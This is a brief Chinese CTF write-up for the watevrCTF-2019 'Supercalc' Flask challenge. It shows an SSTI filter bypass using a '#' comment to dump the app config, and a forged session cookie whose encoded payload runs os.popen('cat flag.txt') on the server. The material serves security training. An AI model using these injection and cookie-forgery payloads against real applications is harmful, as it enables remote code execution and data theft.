[watevrCTF-2019]Supercalc
[watevrCTF-2019]Supercalc
考点
Flask SSTI获取config
Flask SSTI使用注释绕过,
#绕过
wp
输入9*9发现会回显

返回包会设置新的cookie

解密cookie
直接输入{{7*7}}或者{%print(1)%}会提示字符错误
计算器的功能那就输入1/0主动构造错误输入

发现它是把输入直接当代码处理的,这里可以fuzz一下看看哪些字符串没过滤
输入1/0#{{7*7}}可以看到回显的结果

输入输入1/0#{{config}}获取config
题目把cookie中的code执行了,修改为Python代码
结果eyJoaXN0b3J5IjpbeyJjb2RlIjoiX19pbXBvcnRfXyhcIm9zXCIpLnBvcGVuKFwiY2F0IGZsYWcudHh0XCIpLnJlYWQoKSJ9XX0.YmpyRw.x1LGNmBA3XHPATpHZDhGadZOoNA

最后更新于